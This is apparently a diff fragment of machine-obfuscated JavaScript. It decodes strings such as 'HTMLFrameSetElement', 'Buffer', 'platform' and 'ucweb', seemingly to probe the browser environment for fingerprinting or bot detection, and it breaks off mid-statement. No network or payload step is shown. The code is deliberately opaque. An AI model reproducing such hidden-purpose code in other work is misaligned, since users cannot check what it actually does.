_$Qv = _$kz; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$kz = _$Yv; + _$Qv = 1; + _$oz = _$Qv; + _$Qv = _$BC; + _$bz = _$Qv; + _$Qv = _$kz; + _$oz = _$Qv; + _$Qv = 454656; + _$Wv = 401408; + _$Yv = 434176; + _$Ov = 413696; + _$Pv = 405504; + _$Gv = 475136; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$kz = _$Zv; + for (_$lz = 0; _$lz < _$kz.length; _$lz++) { + _$Qv = _$bz; + _$Wv = _$kz; + _$Yv = _$lz; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$bz = _$Ev + } + _$Qv = _$kz; + _$Wv = _$LC; + _$Yv = _$oz; + _$Ov = _$Qv[_$Wv](_$Yv); + _$kz = _$Ov; + _$Qv = _$sa + _$na + _$va; + _$Iz = _$Qv; + _$Qv = _$Iz; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$hz = _$Yv; + _$Qv = []; + _$Az = _$Qv; + for (_$Sz = 0; _$Sz < _$hz; _$Sz++) { + _$Qv = _$Iz; + _$Wv = _$OC; + _$Yv = _$Sz; + _$Ov = _$Qv[_$Wv](_$Yv); + _$gz = _$Ov; + _$Qv = _$gz; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$gz; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$gz; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$gz; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$gz; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$gz; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$Az; + _$Wv = _$LC; + _$Yv = _$gz; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$Az; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$uz = _$Yv; + _$Qv = _$uz; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$uz = _$Yv; + _$Qv = []; + _$mz = _$Qv; + _$Qv = 0; + _$pz = _$Qv; + for (_$Tz = 0; _$Tz < _$uz; _$Tz++) { + _$Qv = _$Az; + _$Wv = _$pz; + _$Yv = _$Qv[_$Wv]; + _$dz = _$Yv; + _$Qv = _$Az; + _$Wv = _$pz; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Mz = _$Pv; + _$Qv = _$pz; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$pz = _$Yv; + _$Qv = _$dz; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$dz = _$Yv; + _$Qv = _$Mz; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$Mz = _$Yv; + _$Qv = _$Mz; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$dz; + _$Pv = _$Yv + _$Ov; + _$wz = _$Pv; + _$Qv = _$wz; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$yz = _$Yv; + _$Qv = _$mz; + _$Wv = _$Tz; + _$Yv = _$yz; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$jz = _$Qv; + for (_$Wz = 0; _$Wz < _$mz.length; _$Wz++) { + _$Qv = _$mz; + _$Wv = _$Wz; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$gr + _$ur; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Cz = _$Gv; + _$Qv = _$Cz; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Dz = _$Ov; + _$Qv = _$Dz; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$Cz; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$Dz; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$Kz = _$Pv; + _$Qv = _$mz; + _$Wv = _$Wz; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$gr + _$ur; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$Kz; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$Qz = _$qv; + for (_$Yz = 0; _$Yz < _$Kz; _$Yz++) { + _$Qv = _$mz; + _$Wv = _$Yz; + _$Yv = _$Wz; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$wc + _$yc; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$Qz += _$qv + } + _$Qv = _$Qz; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$jz += _$Ov; + _$Qv = _$Kz; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$Wz += _$Yv + } else { + _$Qv = _$mz; + _$Wv = _$Wz; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$jz += _$Ov + } + } + _$Qv = _$BW; + _$Wv = _$jz; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$bz; + _$Pv = _$Yv === _$Ov; + _$Uz = _$Pv; + _$Gv = _$DY; + _$Oz = _$Gv; + _$Qv = _$yW; + _$DY = _$Qv; + _$Qv = _$Ul; + _$Pz = _$Qv; + _$Wv = 1; + _$Gz = _$Wv; + _$Qv = _$Gz; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$Gz = _$Yv; + _$Qv = 1; + _$Pz = _$Qv; + _$Qv = _$BC; + _$Nz = _$Qv; + _$Qv = _$Gz; + _$Pz = _$Qv; + _$Qv = 3552; + _$Wv = 3136; + _$Yv = 3392; + _$Ov = 3232; + _$Pv = 3168; + _$Gv = 3712; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$Gz = _$Zv; + for (_$Zz = 0; _$Zz < _$Gz.length; _$Zz++) { + _$Qv = _$Nz; + _$Wv = _$Gz; + _$Yv = _$Zz; + _$Ov = _$Wv[_$Yv]; + _$Pv = 5; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$Nz = _$Ev + } + _$Qv = _$Gz; + _$Wv = _$LC; + _$Yv = _$Pz; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Gz = _$Ov; + _$Qv = _$Yl; + _$zz = _$Qv; + _$Wv = 1; + _$Ez = _$Wv; + _$Qv = _$Ez; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$Ez = _$Yv; + _$Qv = 1; + _$zz = _$Qv; + _$Qv = _$BC; + _$Rz = _$Qv; + _$Qv = _$Ez; + _$zz = _$Qv; + _$Qv = 9216; + _$Wv = 10752; + _$Yv = 9856; + _$Ov = 9728; + _$Pv = 8960; + _$Gv = 14592; + _$Zv = 12416; + _$Ev = 13952; + _$_v = 12928; + _$Vv = 10624; + _$qv = 12928; + _$Hv = 14848; + _$xv = 8832; + _$Bv = 13824; + _$Xv = 12928; + _$Fv = 13952; + _$$v = 12928; + _$es = 14080; + _$ts = 14848; + _$ds = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts]; + _$Ez = _$ds; + for (_$_z = 0; _$_z < _$Ez.length; _$_z++) { + _$Qv = _$Rz; + _$Wv = _$Ez; + _$Yv = _$_z; + _$Ov = _$Wv[_$Yv]; + _$Pv = 7; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$Rz = _$Ev + } + _$Qv = _$Ez; + _$Wv = _$LC; + _$Yv = _$zz; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Ez = _$Ov; + _$Qv = _$BW; + _$Wv = _$Rz; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$Nz; + _$Pv = _$Yv === _$Ov; + _$Lz = _$Pv; + _$Gv = _$Wl; + _$Vz = _$Gv; + _$Zv = 1; + _$qz = _$Zv; + _$Qv = _$qz; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$qz = _$Yv; + _$Qv = 1; + _$Vz = _$Qv; + _$Qv = _$BC; + _$Hz = _$Qv; + _$Qv = _$qz; + _$Vz = _$Qv; + _$Qv = 4325376; + _$Wv = 7667712; + _$Yv = 6684672; + _$Ov = 6684672; + _$Pv = 6619136; + _$Gv = 7471104; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$qz = _$Zv; + for (_$xz = 0; _$xz < _$qz.length; _$xz++) { + _$Qv = _$Hz; + _$Wv = _$qz; + _$Yv = _$xz; + _$Ov = _$Wv[_$Yv]; + _$Pv = 16; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$Hz = _$Ev + } + _$Qv = _$qz; + _$Wv = _$LC; + _$Yv = _$Vz; + _$Ov = _$Qv[_$Wv](_$Yv); + _$qz = _$Ov; + _$Qv = _$Oz; + _$Wv = _$Hz; + _$Yv = _$Qv[_$Wv]; + _$Ov = !_$Yv; + _$Bz = _$Ov; + _$Qv = _$Bz; + if (_$Qv) { + _$Qv = 1; + _$Xz = _$Qv; + _$Wv = 0; + _$Fz = _$Wv; + _$Yv = _$OW++; + _$Jz = _$Yv; + _$Qv = _$Jz; + _$Wv = 3971; + _$Yv = 5330; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 15114; + _$Zv = 34183; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 141197; + _$qv = 92083; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$Jz = _$xv; + _$Qv = _$Jz; + _$Wv = 313927; + _$Yv = 80647; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$$z = _$Pv; + _$Gv = _$$z; + _$Zv = 25; + _$Ev = 40; + _$_v = _$Zv + _$Ev; + _$Vv = _$Xz; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$Xz; + _$Fv = _$Bv + _$Xv; + _$aE = _$Fv; + _$Qv = _$Fz; + _$Wv = _$aE; + _$Yv = _$Qv ^ _$Wv; + _$oY = _$Yv + } + _$Qv = _$Bz; + _$Wv = !_$Qv; + if (_$Wv) { + _$Qv = 23; + _$Wv = 66; + _$Yv = _$Qv + _$Wv; + _$eE = _$Yv; + _$Ov = 0; + _$rE = _$Ov; + _$Pv = _$OW++; + _$cE = _$Pv; + _$Qv = _$cE; + _$Wv = 3108; + _$Yv = 6193; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 32489; + _$Zv = 16808; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 117013; + _$qv = 116267; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$cE = _$xv; + _$Qv = _$cE; + _$Wv = 333180; + _$Yv = 99900; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$vE = _$Pv; + _$Gv = _$vE; + _$Zv = 80; + _$Ev = 27; + _$_v = _$Zv + _$Ev; + _$Vv = _$eE; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$eE; + _$Fv = _$Bv + _$Xv; + _$sE = _$Fv; + _$Qv = _$rE; + _$Wv = _$sE; + _$Yv = _$Qv ^ _$Wv; + _$oY = _$Yv + } + _$Qv = _$TZ; + _$Wv = !_$Qv; + if (_$Wv) { + _$Qv = 20; + _$Wv = 66; + _$Yv = _$Qv + _$Wv; + _$nE = _$Yv; + _$Ov = 0; + _$fE = _$Ov; + _$Pv = _$OW++; + _$tE = _$Pv; + _$Qv = _$tE; + _$Wv = 5065; + _$Yv = 4236; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 75028; + _$Zv = 25731; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 293087; + _$qv = 59807; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$tE = _$xv; + _$Qv = _$tE; + _$Wv = 341069; + _$Yv = 107789; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$iE = _$Pv; + _$Gv = _$iE; + _$Zv = 91; + _$Ev = 27; + _$_v = _$Zv + _$Ev; + _$Vv = _$nE; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$nE; + _$Fv = _$Bv + _$Xv; + _$oE = _$Fv; + _$Qv = _$fE; + _$Wv = _$oE; + _$Yv = _$Qv ^ _$Wv; + _$IW = _$Yv + } + _$Qv = _$zN; + if (_$Qv) { + _$Qv = 1; + _$kE = _$Qv; + _$Wv = 0; + _$bE = _$Wv; + _$Yv = _$OW++; + _$lE = _$Yv; + _$Qv = _$lE; + _$Wv = 2531; + _$Yv = 6770; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 63266; + _$Zv = 13969; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 351006; + _$qv = 117726; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$lE = _$xv; + _$Qv = _$lE; + _$Wv = 90401; + _$Yv = 142879; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$hE = _$Pv; + _$Gv = _$hE; + _$Zv = 20; + _$Ev = 59; + _$_v = _$Zv + _$Ev; + _$Vv = _$kE; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$kE; + _$Fv = _$Bv + _$Xv; + _$gE = _$Fv; + _$Qv = _$bE; + _$Wv = _$gE; + _$Yv = _$Qv ^ _$Wv; + _$PY = _$Yv + } + _$Qv = _$Ql; + _$uE = _$Qv; + _$Wv = 1; + _$pE = _$Wv; + _$Qv = _$pE; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$pE = _$Yv; + _$Qv = 1; + _$uE = _$Qv; + _$Qv = _$BC; + _$yE = _$Qv; + _$Qv = _$pE; + _$uE = _$Qv; + _$Qv = 58880; + _$Wv = 57344; + _$Yv = 55296; + _$Ov = 53760; + _$Pv = 59392; + _$Gv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv]; + _$pE = _$Gv; + for (_$wE = 0; _$wE < _$pE.length; _$wE++) { + _$Qv = _$yE; + _$Wv = _$pE; + _$Yv = _$wE; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$yE = _$Ev + } + _$Qv = _$pE; + _$Wv = _$LC; + _$Yv = _$uE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$pE = _$Ov; + _$Qv = _$Kl; + _$dE = _$Qv; + _$Wv = _$dE; + _$Yv = _$OC; + _$Ov = 0; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$dE; + _$Zv = _$PC; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv - _$Ev; + _$Vv = _$bW(_$_v); + _$ME = _$Vv; + for (_$IE = 1; _$IE < _$dE.length; _$IE++) { + _$Qv = _$dE; + _$Wv = _$OC; + _$Yv = _$IE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$ME; + _$Gv = _$OC; + _$Zv = _$IE; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$ME += _$Hv + } + _$Qv = _$oZ; + _$Wv = _$yE; + _$Yv = _$ME; + _$Ov = _$Qv[_$Wv](_$Yv); + _$AE = _$Ov; + _$Pv = _$AE; + _$Gv = _$AE; + _$Zv = _$PC; + _$Ev = _$Gv[_$Zv]; + _$_v = 1; + _$Vv = _$Ev - _$_v; + _$qv = _$Pv[_$Vv]; + _$SE = _$qv; + _$Hv = _$Dl; + _$mE = _$Hv; + _$xv = 1; + _$TE = _$xv; + _$Qv = _$TE; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$TE = _$Yv; + _$Qv = 1; + _$mE = _$Qv; + _$Qv = _$BC; + _$jE = _$Qv; + _$Qv = _$TE; + _$mE = _$Qv; + _$Qv = 99328; + _$Wv = 99328; + _$Yv = 116736; + _$Ov = 101376; + _$Pv = 106496; + _$Gv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv]; + _$TE = _$Gv; + for (_$CE = 0; _$CE < _$TE.length; _$CE++) { + _$Qv = _$jE; + _$Wv = _$TE; + _$Yv = _$CE; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$jE = _$Ev + } + _$Qv = _$TE; + _$Wv = _$LC; + _$Yv = _$mE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$TE = _$Ov; + _$Qv = _$Cl; + _$DE = _$Qv; + _$Wv = 1; + _$KE = _$Wv; + _$Qv = _$KE; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$KE = _$Yv; + _$Qv = 1; + _$DE = _$Qv; + _$Qv = _$BC; + _$QE = _$Qv; + _$Qv = _$KE; + _$DE = _$Qv; + _$Qv = 430080; + _$Wv = 450560; + _$Yv = 409600; + _$Ov = 413696; + _$Pv = 491520; + _$Gv = 323584; + _$Zv = 417792; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$KE = _$Ev; + for (_$WE = 0; _$WE < _$KE.length; _$WE++) { + _$Qv = _$QE; + _$Wv = _$KE; + _$Yv = _$WE; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$QE = _$Ev + } + _$Qv = _$KE; + _$Wv = _$LC; + _$Yv = _$DE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$KE = _$Ov; + _$Qv = _$jl; + _$YE = _$Qv; + _$Wv = 1; + _$UE = _$Wv; + _$Qv = _$UE; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$UE = _$Yv; + _$Qv = 1; + _$YE = _$Qv; + _$Qv = _$BC; + _$OE = _$Qv; + _$Qv = _$UE; + _$YE = _$Qv; + _$Qv = 3744; + _$Wv = 3168; + _$Yv = 3808; + _$Ov = 3232; + _$Pv = 3136; + _$Gv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv]; + _$UE = _$Gv; + for (_$PE = 0; _$PE < _$UE.length; _$PE++) { + _$Qv = _$OE; + _$Wv = _$UE; + _$Yv = _$PE; + _$Ov = _$Wv[_$Yv]; + _$Pv = 5; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$OE = _$Ev + } + _$Qv = _$UE; + _$Wv = _$LC; + _$Yv = _$YE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$UE = _$Ov; + _$Qv = _$ra + _$ca; + _$GE = _$Qv; + _$Wv = _$GE; + _$Yv = _$OC; + _$Ov = 0; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$GE; + _$Zv = _$PC; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv - _$Ev; + _$Vv = _$bW(_$_v); + _$NE = _$Vv; + for (_$ZE = 1; _$ZE < _$GE.length; _$ZE++) { + _$Qv = _$GE; + _$Wv = _$OC; + _$Yv = _$ZE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$NE; + _$Gv = _$OC; + _$Zv = _$ZE; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$NE += _$Hv + } + _$Qv = _$Tl; + _$zE = _$Qv; + _$Wv = 1; + _$EE = _$Wv; + _$Qv = _$EE; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$EE = _$Yv; + _$Qv = 1; + _$zE = _$Qv; + _$Qv = _$BC; + _$RE = _$Qv; + _$Qv = _$EE; + _$zE = _$Qv; + _$Qv = 3670016; + _$Wv = 3538944; + _$Yv = 3178496; + _$Ov = 3801088; + _$Pv = 3342336; + _$Gv = 3637248; + _$Zv = 3735552; + _$Ev = 3571712; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$EE = _$_v; + for (_$_E = 0; _$_E < _$EE.length; _$_E++) { + _$Qv = _$RE; + _$Wv = _$EE; + _$Yv = _$_E; + _$Ov = _$Wv[_$Yv]; + _$Pv = 15; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$RE = _$Ev + } + _$Qv = _$EE; + _$Wv = _$LC; + _$Yv = _$zE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$EE = _$Ov; + _$Qv = _$ml; + _$LE = _$Qv; + _$Wv = 1; + _$VE = _$Wv; + _$Qv = _$VE; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$VE = _$Yv; + _$Qv = 1; + _$LE = _$Qv; + _$Qv = _$BC; + _$qE = _$Qv; + _$Qv = _$VE; + _$LE = _$Qv; + _$Qv = 1792; + _$Wv = 1664; + _$Yv = 1776; + _$Ov = 1760; + _$Pv = 1616; + _$Gv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv]; + _$VE = _$Gv; + for (_$HE = 0; _$HE < _$VE.length; _$HE++) { + _$Qv = _$qE; + _$Wv = _$VE; + _$Yv = _$HE; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$qE = _$Ev + } + _$Qv = _$VE; + _$Wv = _$LC; + _$Yv = _$LE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$VE = _$Ov; + _$Qv = _$Sl; + _$xE = _$Qv; + _$Wv = 1; + _$BE = _$Wv; + _$Qv = _$BE; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$BE = _$Yv; + _$Qv = 1; + _$xE = _$Qv; + _$Qv = _$BC; + _$XE = _$Qv; + _$Qv = _$BE; + _$xE = _$Qv; + _$Qv = 917504; + _$Wv = 884736; + _$Yv = 794624; + _$Ov = 950272; + _$Pv = 835584; + _$Gv = 909312; + _$Zv = 933888; + _$Ev = 892928; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$BE = _$_v; + for (_$FE = 0; _$FE < _$BE.length; _$FE++) { + _$Qv = _$XE; + _$Wv = _$BE; + _$Yv = _$FE; + _$Ov = _$Wv[_$Yv]; + _$Pv = 13; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$XE = _$Ev + } + _$Qv = _$BE; + _$Wv = _$LC; + _$Yv = _$xE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$BE = _$Ov; + _$Qv = _$Al; + _$JE = _$Qv; + _$Wv = 1; + _$$E = _$Wv; + _$Qv = _$$E; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$$E = _$Yv; + _$Qv = 1; + _$JE = _$Qv; + _$Qv = _$BC; + _$aR = _$Qv; + _$Qv = _$$E; + _$JE = _$Qv; + _$Qv = 840; + _$Wv = 880; + _$Yv = 800; + _$Ov = 808; + _$Pv = 960; + _$Gv = 632; + _$Zv = 816; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$$E = _$Ev; + for (_$eR = 0; _$eR < _$$E.length; _$eR++) { + _$Qv = _$aR; + _$Wv = _$$E; + _$Yv = _$eR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 3; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$aR = _$Ev + } + _$Qv = _$$E; + _$Wv = _$LC; + _$Yv = _$JE; + _$Ov = _$Qv[_$Wv](_$Yv); + _$$E = _$Ov; + _$Qv = _$Il; + _$rR = _$Qv; + _$Wv = 1; + _$cR = _$Wv; + _$Qv = _$cR; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$cR = _$Yv; + _$Qv = 1; + _$rR = _$Qv; + _$Qv = _$BC; + _$vR = _$Qv; + _$Qv = _$cR; + _$rR = _$Qv; + _$Qv = 420; + _$Wv = 440; + _$Yv = 400; + _$Ov = 404; + _$Pv = 480; + _$Gv = 316; + _$Zv = 408; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$cR = _$Ev; + for (_$sR = 0; _$sR < _$cR.length; _$sR++) { + _$Qv = _$vR; + _$Wv = _$cR; + _$Yv = _$sR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 2; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$vR = _$Ev + } + _$Qv = _$cR; + _$Wv = _$LC; + _$Yv = _$rR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$cR = _$Ov; + _$Qv = _$Ml; + _$nR = _$Qv; + _$Wv = 1; + _$fR = _$Wv; + _$Qv = _$fR; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$fR = _$Yv; + _$Qv = 1; + _$nR = _$Qv; + _$Qv = _$BC; + _$tR = _$Qv; + _$Qv = _$fR; + _$nR = _$Qv; + _$Qv = 210; + _$Wv = 220; + _$Yv = 200; + _$Ov = 202; + _$Pv = 240; + _$Gv = 158; + _$Zv = 204; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$fR = _$Ev; + for (_$iR = 0; _$iR < _$fR.length; _$iR++) { + _$Qv = _$tR; + _$Wv = _$fR; + _$Yv = _$iR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 1; + _$Gv = _$Ov >> _$Pv; + _$Zv = 